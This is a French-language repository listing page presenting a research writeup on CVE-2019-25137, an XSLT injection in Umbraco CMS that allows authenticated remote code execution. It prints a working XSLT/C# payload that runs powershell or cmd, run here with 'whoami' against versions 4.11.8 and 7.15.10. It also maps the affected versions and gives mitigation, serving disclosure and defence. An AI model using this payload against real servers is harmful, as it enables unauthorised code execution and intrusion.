Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-25137-Version-Research — A writeup investigating the full extent of CVE-2019-25137 | Kitploit
Outils/GitHubGitHub/ickarah/cve-2019-25137-version-research
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubickarah/cve-2019-25137-version-research

CVE-2019-25137-Version-Research

A writeup investigating the full extent of CVE-2019-25137

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
11il y a 3 ansPas encore vérifié

Recherche des versions affectées par la CVE-2019-25137


Aperçu de la CVE-2019-25137


La CVE-2019-25137 est une vulnérabilité d'injection XSLT dans Umbraco CMS. La vulnérabilité est présente dans la page Web XSLT (Extensive Stylesheet Language Transformations) Visualizer. L'URI vulnérable pour cette page est /umbraco/developer/Xslt/xsltVisualize.aspx.

L'exploitation réussie du visualiseur XSLT peut entraîner l'exécution de code C# sur le système cible. Pour exploiter la vulnérabilité, un utilisateur a besoin d'informations d'identification légitimes d'administrateur pour Umbraco CMS.

La preuve de concept pour la CVE-2019-25137 utilise l'élément msxsl:script. Cet élément permet d'utiliser des langages de programmation supplémentaires dans les transformations XSLT, comme le C#.


root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>

La charge utile XSLT tentera d'exécuter le code C# suivant.


root@kitploit:~
string cmd = "<additional arguments>"; 
System.Diagnostics.Process proc = new System.Diagnostics.Process(); 
proc.StartInfo.FileName = "<Can be powershell or cmd>"; 
proc.StartInfo.Arguments = cmd; 
proc.StartInfo.UseShellExecute = false; 
proc.StartInfo.RedirectStandardOutput = true;  
proc.Start(); 
string output = proc.StandardOutput.ReadToEnd(); 
return output;

Le code C# est décomposé dans les instructions suivantes – toutes les définitions sont documentées sur le site Web de Microsoft.



Analyse des versions d'Umbraco

Puisque Umbraco est un CMS open source, j'ai obtenu différentes versions d'installation sur leur site Web pour déterminer quelles versions, anciennes et récentes, peuvent encore contenir xsltVisualize.aspx.



L'analyse indique que le fichier xsltVisualize.aspx existe dans Umbraco CMS de la version 4.11.8 jusqu'à la version 7.15.10. Ce fichier et l'intégralité du dossier Development ne sont plus présents dans les versions 8.0.0 et ultérieures.




Tests sur Umbraco 4.11.8

Pour démontrer que la version la plus ancienne est également vulnérable à la CVE-2019-25137, j'ai configuré une instance de test d'Umbraco 4.11.8.



La comparaison du fichier xsltVisualize.aspx d'Umbraco CMS 4.11.8 avec celui d'Umbraco CMS version 7.12.4 montre que, malgré quelques différences mineures, la fonctionnalité des pages est la même.


Pour tester l'exploit, l'utilisateur doit soumettre la charge utile dans le champ xsltSelection.



En utilisant la charge utile fournie précédemment, j'ai pu exécuter du code à distance, ce qui indique que cette version est également vulnérable. L'image ci-dessous illustre l'exécution de whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>



Tests sur Umbraco 7.15.10

Pour démontrer que la version la plus récente d'Umbraco contenant xsltVisualize.aspx est également vulnérable, j'ai configuré une instance de test d'Umbraco 7.15.10.


La comparaison du fichier xsltVisualize.aspx d'Umbraco CMS 7.15.10 avec celui d'Umbraco CMS version 7.12.4 montre qu'ils sont identiques.


En naviguant vers l'URI /umbraco/developer/Xslt/xsltVisualize.aspx, on constate que le fichier est bien présent.


En utilisant la même charge utile que précédemment, j'ai pu à nouveau exécuter du code à distance, ce qui indique que cette version est également vulnérable. L'image ci-dessous illustre l'exécution de whoami.

root@kitploit:~
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	xmlns:msxsl="urn:schemas-microsoft-com:xslt"
	xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
	<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;  proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; }  </msxsl:script>
	<xsl:template match="/">
		<xsl:value-of select="csharp_user:xml()"/>
	</xsl:template>
</xsl:stylesheet>


Résumé


Ces exemples montrent que la CVE-2019-25137 est présente sur des versions d'Umbraco autres que la 7.12.4. Toutes les versions comprises entre 4.11.8 et 7.15.10 contiennent la page Web vulnérable et doivent donc être incluses dans la mise à jour de la CVE. La CVE-2019-25137 peut être atténuée en supprimant l'accès au fichier xsltVisualize.aspx ou en mettant à jour vers la version la plus récente d'Umbraco.



Références

CVE originale - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137

Date de sortie d'Umbraco - https://our.umbraco.com/download/releases/774

Versions d'Umbraco - https://our.umbraco.com/download/releases

Définition XSLT - https://en.wikipedia.org/wiki/XSLT

Charge utile utilisée - https://github.com/noraj/Umbraco-RCE

Télécharger l’outil
FonctionAperçu
System.Diagnostics.Process procFournit l'accès aux processus locaux et distants et permet à l'utilisateur de démarrer et d'arrêter des processus système locaux, celui-ci est nommé « proc ».
proc.StartInfo.FileNameDéfinit le nom de l'application que l'utilisateur souhaite démarrer (powershell ou cmd).
proc.StartInfo.ArgumentsDéfinit les variables supplémentaires éventuellement nécessaires à FileName.
proc.StartInfo.UseShellExecuteValeur indiquant s'il faut utiliser le shell du système d'exploitation pour démarrer le processus ; elle est définie à false car powershell ou cmd est utilisé.
proc.StartInfo.RedirectStandardOutputValeur indiquant si la sortie d'une application est écrite dans le flux StandardOutput ; elle est définie à true.
proc.Start()Démarre la ressource de processus « proc » et l'associe à un composant Process.
string output = proc.StandardOutput.ReadToEnd()Effectue des opérations de lecture synchrones sur « proc » et les redirige vers la variable « output ».